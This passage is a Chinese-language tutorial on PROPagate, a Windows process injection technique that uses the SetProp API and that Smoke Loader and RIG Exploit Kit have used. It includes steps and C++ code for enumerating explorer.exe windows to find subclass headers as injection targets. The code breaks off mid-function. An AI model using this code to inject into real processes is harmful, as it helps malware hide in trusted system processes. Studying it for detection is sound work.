本文是根据原创作者文章仔细学习之后编写的,有助于部分想要该项注入技术的人更加深入理解。在文章末尾我会放上原创作者博客链接,我也参考了先知社区的那篇译文,那篇译文翻译的确实不错,我也会放在文章末尾的参考链接中。
这种技术最早在2017年10月出现,Hexacorn公司的安全研究人员Adam发表了一篇文章,详细介绍了一种名为PROPagate的新型进程注入技术。
PROPagate技术介绍:
通常是插入新的子类头部,或修改现有的、其中包含可以从另一个进程控制的回调函数的子类头部。我们可以使用SetProp API来更新子类窗口,这与使用SetWindowLong/SetWindowLongPtr API来更新Windows回调过程是非常相似的。在这篇文章中,我们不仅会介绍PROPagate注入技术的工作原理,同时,还会说明这种注入方法相较其他方法的优越之处。截至2018年8月,该注入技术已经被应用到了Smoke Loader和RIG Exploit Kit中。
一、枚举指定窗口(搜索指定子窗口)
Windows资源管理器广泛使用子类化窗口,并且通常以中等完整性级别运行它们,使得登录用户无需启用任何权限即可访问相应窗口的进程空间。鉴于此,Windows资源管理器更有可能成为该方法的注入目标。不过,攻击者仍然需要寻找相应的子类头部,因此,在注入到Windows资源管理器之前,首先需要寻找现有的窗口对象及其属性。
按照以下步骤在explorer.exe中查找有效的子类头部:
1、调用EnumWindows函数
2、从EnumWindowsProc函数中调用EnumChildWindows函数
3、从EnumChildWindowsProc函数中调用EnumProps函数
4、从EnumPropsProc函数中使用参数"UxSubclassInfo"调用GetProp函数,以获得窗口句柄
5、如果GetProp函数返回有效句柄,则将其视为一个潜在的注入向量
源代码如下
#define UNICODE
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#pragma comment(lib, "user32.lib")
#include <iostream>
#include <vector>
#include <algorithm>
typedef struct _win_props_t {
DWORD dwPid;
WCHAR ImageName[MAX_PATH];
HANDLE hProperty;
HWND hParentWnd;
HWND hChildWnd;
WCHAR ParentClassName[MAX_PATH];
WCHAR ChildClassName[MAX_PATH];
} WINPROPS, *PWINPROPS;
std::vector<WINPROPS> windows;
int maxName=16, maxClass=16;
bool bAll=false;
// we want to ignore duplicates
BOOL IsEntry(PWINPROPS e) {
BOOL bFound = FALSE;
for(int i=0;i<windows.size(); i++) {
// same process id?
if(e->dwPid == windows.at(i).dwPid) {
// same property?
if(e->hProperty == windows.at(i).hProperty) {
bFound = TRUE;
break;
}
}
}
return bFound;
}
BOOL GetProcessImageName(DWORD dwPid, LPWSTR ImageName, DWORD dwSize) {
HANDLE hSnap;
PROCESSENTRY32 pe32;
BOOL bFound=FALSE;
// create snapshot of system
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnap == INVALID_HANDLE_VALUE) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
// get first process
if(Process32First(hSnap, &pe32)){
do {
if(dwPid == pe32.th32ProcessID) {
lstrcpyn(ImageName, pe32.szExeFile, dwSize);
bFound = TRUE;
break;
}
} while(Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
return bFound;
}
// callback for property list
BOOL CALLBACK PropEnumProc(HWND hwnd,
LPCTSTR lpszString, HANDLE hData)
{
WINPROPS wp;
HANDLE hp;
hp = GetProp(hwnd, L"UxSubclassInfo");
if(hp==NULL) hp = GetProp(hwnd, L"CC3